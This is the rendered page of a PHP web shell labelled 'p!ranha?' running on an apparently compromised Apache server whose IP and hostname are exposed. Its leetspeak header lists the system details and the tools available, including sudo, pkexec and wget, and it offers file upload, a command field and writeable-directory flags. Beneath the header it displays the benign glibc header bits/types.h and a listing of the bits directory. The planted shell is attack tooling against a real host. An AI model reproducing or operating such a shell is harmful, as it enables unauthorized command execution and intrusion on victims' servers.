p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/bits/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/include/bits/types.h
/* bits/types.h -- definitions of __*_t types underlying *_t types.
   Copyright (C) 2002-2012 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */

/*
 * Never include this file directly; use <sys/types.h> instead.
 */

#ifndef	_BITS_TYPES_H
#define	_BITS_TYPES_H	1

#include <features.h>
#include <bits/wordsize.h>

/* Convenience types.  */
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;

/* Fixed-size types, underlying types depend on word size and compiler.  */
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
#if __WORDSIZE == 64
typedef signed long int __int64_t;
typedef unsigned long int __uint64_t;
#elif defined __GLIBC_HAVE_LONG_LONG
__extension__ typedef signed long long int __int64_t;
__extension__ typedef unsigned long long int __uint64_t;
#endif

/* quad_t is also 64 bits.  */
#if __WORDSIZE == 64
typedef long int __quad_t;
typedef unsigned long int __u_quad_t;
#elif defined __GLIBC_HAVE_LONG_LONG
__extension__ typedef long long int __quad_t;
__extension__ typedef unsigned long long int __u_quad_t;
#else
typedef struct
{
  long __val[2];
} __quad_t;
typedef struct
{
  __u_long __val[2];
} __u_quad_t;
#endif


/* The machine-dependent file <bits/typesizes.h> defines __*_T_TYPE
   macros for each of the OS types we define below.  The definitions
   of those macros must use the following macros for underlying types.
   We define __S<SIZE>_TYPE and __U<SIZE>_TYPE for the signed and unsigned
   variants of each of the following integer types on this machine.

	16		-- "natural" 16-bit type (always short)
	32		-- "natural" 32-bit type (always int)
	64		-- "natural" 64-bit type (long or long long)
	LONG32		-- 32-bit type, traditionally long
	QUAD		-- 64-bit type, always long long
	WORD		-- natural type of __WORDSIZE bits (int or long)
	LONGWORD	-- type of __WORDSIZE bits, traditionally long

   We distinguish WORD/LONGWORD, 32/LONG32, and 64/QUAD so that the
   conventional uses of `long' or `long long' type modifiers match the
   types we define, even when a less-adorned type would be the same size.
   This matters for (somewhat) portably writing printf/scanf formats for
   these types, where using the appropriate l or ll format modifiers can
   make the typedefs and the formats match up across all GNU platforms.  If
   we used `long' when it's 64 bits where `long long' is expected, then the
   compiler would warn about the formats not matching the argument types,
   and the programmer changing them to shut up the compiler would break the
   program's portability.

   Here we assume what is presently the case in all the GCC configurations
   we support: long long is always 64 bits, long is always word/address size,
   and int is always 32 bits.  */

#define	__S16_TYPE		short int
#define __U16_TYPE		unsigned short int
#define	__S32_TYPE		int
#define __U32_TYPE		unsigned int
#define __SLONGWORD_TYPE	long int
#define __ULONGWORD_TYPE	unsigned long int
#if __WORDSIZE == 32
# define __SQUAD_TYPE		__quad_t
# define __UQUAD_TYPE		__u_quad_t
# define __SWORD_TYPE		int
# define __UWORD_TYPE		unsigned int
# define __SLONG32_TYPE		long int
# define __ULONG32_TYPE		unsigned long int
# define __S64_TYPE		__quad_t
# define __U64_TYPE		__u_quad_t
/* We want __extension__ before typedef's that use nonstandard base types
   such as `long long' in C89 mode.  */
# define __STD_TYPE		__extension__ typedef
#elif __WORDSIZE == 64
# define __SQUAD_TYPE		long int
# define __UQUAD_TYPE		unsigned long int
# define __SWORD_TYPE		long int
# define __UWORD_TYPE		unsigned long int
# define __SLONG32_TYPE		int
# define __ULONG32_TYPE		unsigned int
# define __S64_TYPE		long int
# define __U64_TYPE		unsigned long int
/* No need to mark the typedef with __extension__.   */
# define __STD_TYPE		typedef
#else
# error
#endif
#include <bits/typesizes.h>	/* Defines __*_T_TYPE macros.  */


__STD_TYPE __DEV_T_TYPE __dev_t;	/* Type of device numbers.  */
__STD_TYPE __UID_T_TYPE __uid_t;	/* Type of user identifications.  */
__STD_TYPE __GID_T_TYPE __gid_t;	/* Type of group identifications.  */
__STD_TYPE __INO_T_TYPE __ino_t;	/* Type of file serial numbers.  */
__STD_TYPE __INO64_T_TYPE __ino64_t;	/* Type of file serial numbers (LFS).*/
__STD_TYPE __MODE_T_TYPE __mode_t;	/* Type of file attribute bitmasks.  */
__STD_TYPE __NLINK_T_TYPE __nlink_t;	/* Type of file link counts.  */
__STD_TYPE __OFF_T_TYPE __off_t;	/* Type of file sizes and offsets.  */
__STD_TYPE __OFF64_T_TYPE __off64_t;	/* Type of file sizes and offsets (LFS).  */
__STD_TYPE __PID_T_TYPE __pid_t;	/* Type of process identifications.  */
__STD_TYPE __FSID_T_TYPE __fsid_t;	/* Type of file system IDs.  */
__STD_TYPE __CLOCK_T_TYPE __clock_t;	/* Type of CPU usage counts.  */
__STD_TYPE __RLIM_T_TYPE __rlim_t;	/* Type for resource measurement.  */
__STD_TYPE __RLIM64_T_TYPE __rlim64_t;	/* Type for resource measurement (LFS).  */
__STD_TYPE __ID_T_TYPE __id_t;		/* General type for IDs.  */
__STD_TYPE __TIME_T_TYPE __time_t;	/* Seconds since the Epoch.  */
__STD_TYPE __USECONDS_T_TYPE __useconds_t; /* Count of microseconds.  */
__STD_TYPE __SUSECONDS_T_TYPE __suseconds_t; /* Signed count of microseconds.  */

__STD_TYPE __DADDR_T_TYPE __daddr_t;	/* The type of a disk address.  */
__STD_TYPE __KEY_T_TYPE __key_t;	/* Type of an IPC key.  */

/* Clock ID used in clock and timer functions.  */
__STD_TYPE __CLOCKID_T_TYPE __clockid_t;

/* Timer ID returned by `timer_create'.  */
__STD_TYPE __TIMER_T_TYPE __timer_t;

/* Type to represent block size.  */
__STD_TYPE __BLKSIZE_T_TYPE __blksize_t;

/* Types from the Large File Support interface.  */

/* Type to count number of disk blocks.  */
__STD_TYPE __BLKCNT_T_TYPE __blkcnt_t;
__STD_TYPE __BLKCNT64_T_TYPE __blkcnt64_t;

/* Type to count file system blocks.  */
__STD_TYPE __FSBLKCNT_T_TYPE __fsblkcnt_t;
__STD_TYPE __FSBLKCNT64_T_TYPE __fsblkcnt64_t;

/* Type to count file system nodes.  */
__STD_TYPE __FSFILCNT_T_TYPE __fsfilcnt_t;
__STD_TYPE __FSFILCNT64_T_TYPE __fsfilcnt64_t;

/* Type of miscellaneous file system fields.  */
__STD_TYPE __FSWORD_T_TYPE __fsword_t;

__STD_TYPE __SSIZE_T_TYPE __ssize_t; /* Type of a byte count, or error.  */

/* Signed long type used in system calls.  */
__STD_TYPE __SYSCALL_SLONG_TYPE __syscall_slong_t;
/* Unsigned long type used in system calls.  */
__STD_TYPE __SYSCALL_ULONG_TYPE __syscall_ulong_t;

/* These few don't really vary by system, they always correspond
   to one of the other defined types.  */
typedef __off64_t __loff_t;	/* Type of file sizes and offsets (LFS).  */
typedef __quad_t *__qaddr_t;
typedef char *__caddr_t;

/* Duplicates info from stdint.h but this is used in unistd.h.  */
__STD_TYPE __SWORD_TYPE __intptr_t;

/* Duplicate info from sys/socket.h.  */
__STD_TYPE __U32_TYPE __socklen_t;


#undef __STD_TYPE

#endif /* bits/types.h */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:20
0 / 0
0755
a.out.h
0.262 KB
June 04 2024 14:43:12
0 / 0
0644
byteswap-16.h
1.686 KB
June 04 2024 14:43:10
0 / 0
0644
byteswap.h
5.556 KB
June 04 2024 14:43:10
0 / 0
0644
cmathcalls.h
4.701 KB
June 04 2024 14:43:07
0 / 0
0644
confname.h
23.194 KB
June 04 2024 14:43:11
0 / 0
0644
dirent.h
1.688 KB
June 04 2024 14:43:10
0 / 0
0644
dlfcn.h
2.467 KB
June 04 2024 14:43:09
0 / 0
0644
elfclass.h
0.416 KB
June 04 2024 14:43:49
0 / 0
0644
endian.h
0.172 KB
June 04 2024 14:43:10
0 / 0
0644
environments.h
3.5 KB
June 04 2024 14:43:11
0 / 0
0644
epoll.h
1.112 KB
June 04 2024 14:43:12
0 / 0
0644
errno.h
2.112 KB
June 04 2024 14:43:08
0 / 0
0644
error.h
2.621 KB
June 04 2024 14:43:12
0 / 0
0644
eventfd.h
1.102 KB
June 04 2024 14:43:12
0 / 0
0644
fcntl-linux.h
12.555 KB
June 04 2024 14:43:11
0 / 0
0644
fcntl.h
2.192 KB
June 04 2024 14:43:11
0 / 0
0644
fcntl2.h
5.444 KB
June 04 2024 14:43:11
0 / 0
0644
fenv.h
3.938 KB
June 04 2024 14:43:07
0 / 0
0644
fenvinline.h
0.186 KB
June 04 2024 14:43:07
0 / 0
0644
huge_val.h
1.83 KB
June 04 2024 14:43:07
0 / 0
0644
huge_valf.h
1.791 KB
June 04 2024 14:43:07
0 / 0
0644
huge_vall.h
1.57 KB
June 04 2024 14:43:07
0 / 0
0644
hwcap.h
0.943 KB
June 04 2024 14:43:12
0 / 0
0644
in.h
9.007 KB
June 04 2024 14:43:47
0 / 0
0644
inf.h
1.031 KB
June 04 2024 14:43:07
0 / 0
0644
initspin.h
0.024 KB
June 04 2024 14:43:11
0 / 0
0644
inotify.h
1.054 KB
June 04 2024 14:43:12
0 / 0
0644
ioctl-types.h
2.41 KB
June 04 2024 14:43:12
0 / 0
0644
ioctls.h
4.385 KB
June 04 2024 14:43:12
0 / 0
0644
ipc.h
2.006 KB
June 04 2024 14:43:12
0 / 0
0644
ipctypes.h
1.143 KB
June 04 2024 14:43:12
0 / 0
0644
libc-lock.h
12.543 KB
October 19 2011 11:04:41
0 / 0
0644
libio-ldbl.h
0.99 KB
June 04 2024 14:43:09
0 / 0
0644
link.h
4.197 KB
June 04 2024 14:43:49
0 / 0
0644
local_lim.h
3.129 KB
June 04 2024 14:43:11
0 / 0
0644
locale.h
1.335 KB
June 04 2024 14:43:01
0 / 0
0644
math-finite.h
14.24 KB
June 04 2024 14:43:07
0 / 0
0644
mathcalls.h
11.303 KB
June 04 2024 14:43:07
0 / 0
0644
mathdef.h
2.138 KB
June 04 2024 14:43:07
0 / 0
0644
mathinline.h
30.86 KB
June 04 2024 14:43:07
0 / 0
0644
mman.h
4.778 KB
June 04 2024 14:43:12
0 / 0
0644
monetary-ldbl.h
1.017 KB
June 04 2024 14:43:08
0 / 0
0644
mqueue.h
1.216 KB
June 04 2024 14:43:45
0 / 0
0644
mqueue2.h
2.106 KB
June 04 2024 14:43:45
0 / 0
0644
msq.h
2.47 KB
June 04 2024 14:43:12
0 / 0
0644
nan.h
1.537 KB
June 04 2024 14:43:07
0 / 0
0644
netdb.h
1.252 KB
June 04 2024 14:43:44
0 / 0
0644
param.h
1.398 KB
June 04 2024 14:43:12
0 / 0
0644
poll.h
2.039 KB
June 04 2024 14:43:11
0 / 0
0644
poll2.h
2.862 KB
June 04 2024 14:43:11
0 / 0
0644
posix1_lim.h
4.807 KB
June 04 2024 14:43:11
0 / 0
0644
posix2_lim.h
2.817 KB
June 04 2024 14:43:11
0 / 0
0644
posix_opt.h
5.648 KB
June 04 2024 14:43:11
0 / 0
0644
printf-ldbl.h
0.963 KB
June 04 2024 14:43:09
0 / 0
0644
pthreadtypes.h
6.328 KB
June 04 2024 14:43:11
0 / 0
0644
resource.h
9.214 KB
June 04 2024 14:43:12
0 / 0
0644
sched.h
7.366 KB
June 04 2024 14:43:11
0 / 0
0644
select.h
2.075 KB
June 04 2024 14:43:12
0 / 0
0644
select2.h
1.404 KB
June 04 2024 14:43:12
0 / 0
0644
sem.h
2.526 KB
June 04 2024 14:43:12
0 / 0
0644
semaphore.h
1.209 KB
June 04 2024 14:43:44
0 / 0
0644
setjmp.h
1.257 KB
June 04 2024 14:43:08
0 / 0
0644
setjmp2.h
1.665 KB
June 04 2024 14:43:08
0 / 0
0644
shm.h
3.437 KB
June 04 2024 14:43:12
0 / 0
0644
sigaction.h
2.785 KB
June 04 2024 14:43:08
0 / 0
0644
sigcontext.h
4.076 KB
June 04 2024 14:43:08
0 / 0
0644
siginfo.h
9.813 KB
June 04 2024 14:43:08
0 / 0
0644
signalfd.h
1.041 KB
June 04 2024 14:43:12
0 / 0
0644
signum.h
3.337 KB
June 04 2024 14:43:08
0 / 0
0644
sigset.h
4.479 KB
June 04 2024 14:43:08
0 / 0
0644
sigstack.h
1.492 KB
June 04 2024 14:43:08
0 / 0
0644
sigthread.h
1.636 KB
June 04 2024 14:43:08
0 / 0
0644
sockaddr.h
1.497 KB
June 04 2024 14:43:12
0 / 0
0644
socket.h
12.603 KB
June 04 2024 14:43:12
0 / 0
0644
socket2.h
2.954 KB
June 04 2024 14:43:12
0 / 0
0644
socket_type.h
2.163 KB
June 04 2024 14:43:12
0 / 0
0644
stab.def
8.822 KB
June 04 2024 14:43:12
0 / 0
0644
stat.h
7.462 KB
June 04 2024 14:43:11
0 / 0
0644
statfs.h
1.891 KB
June 04 2024 14:43:11
0 / 0
0644
statvfs.h
3.342 KB
June 04 2024 14:43:11
0 / 0
0644
stdio-ldbl.h
3.106 KB
June 04 2024 14:43:09
0 / 0
0644
stdio-lock.h
2.136 KB
June 04 2024 14:41:10
0 / 0
0644
stdio.h
5.451 KB
June 04 2024 14:43:09
0 / 0
0644
stdio2.h
12.361 KB
June 04 2024 14:43:09
0 / 0
0644
stdio_lim.h
1.341 KB
June 04 2024 14:43:09
0 / 0
0644
stdlib-float.h
1.124 KB
June 04 2024 14:43:08
0 / 0
0644
stdlib-ldbl.h
1.362 KB
June 04 2024 14:43:08
0 / 0
0644
stdlib.h
5.532 KB
June 04 2024 14:43:08
0 / 0
0644
string.h
56.479 KB
June 04 2024 14:43:10
0 / 0
0644
string2.h
46.082 KB
June 04 2024 14:43:10
0 / 0
0644
string3.h
4.385 KB
June 04 2024 14:43:10
0 / 0
0644
sys_errlist.h
1.187 KB
June 04 2024 14:43:09
0 / 0
0644
syscall.h
43.027 KB
June 04 2024 14:43:12
0 / 0
0644
sysctl.h
0.872 KB
June 04 2024 14:43:12
0 / 0
0644
syslog-ldbl.h
1.175 KB
June 04 2024 14:43:12
0 / 0
0644
syslog-path.h
1.03 KB
June 04 2024 14:43:12
0 / 0
0644
syslog.h
1.656 KB
June 04 2024 14:43:12
0 / 0
0644
termios.h
5.227 KB
June 04 2024 14:43:11
0 / 0
0644
time.h
3.346 KB
June 04 2024 14:43:10
0 / 0
0644
timerfd.h
1.076 KB
June 04 2024 14:43:12
0 / 0
0644
timex.h
4.364 KB
June 04 2024 14:43:10
0 / 0
0644
types.h
7.548 KB
June 04 2024 14:43:11
0 / 0
0644
typesizes.h
3.149 KB
June 04 2024 14:43:11
0 / 0
0644
uio.h
2.422 KB
June 04 2024 14:43:12
0 / 0
0644
unistd.h
13.07 KB
June 04 2024 14:43:11
0 / 0
0644
ustat.h
1.064 KB
June 04 2024 14:43:12
0 / 0
0644
utmp.h
3.874 KB
June 04 2024 14:43:49
0 / 0
0644
utmpx.h
3.379 KB
June 04 2024 14:43:49
0 / 0
0644
utsname.h
1.19 KB
June 04 2024 14:43:11
0 / 0
0644
waitflags.h
1.609 KB
June 04 2024 14:43:11
0 / 0
0644
waitstatus.h
3.488 KB
June 04 2024 14:43:11
0 / 0
0644
wchar-ldbl.h
2.448 KB
June 04 2024 14:43:10
0 / 0
0644
wchar.h
1.106 KB
June 04 2024 14:43:10
0 / 0
0644
wchar2.h
20.043 KB
June 04 2024 14:43:10
0 / 0
0644
wordsize.h
0.319 KB
June 04 2024 14:43:08
0 / 0
0644
xopen_lim.h
3.682 KB
June 04 2024 14:43:00
0 / 0
0644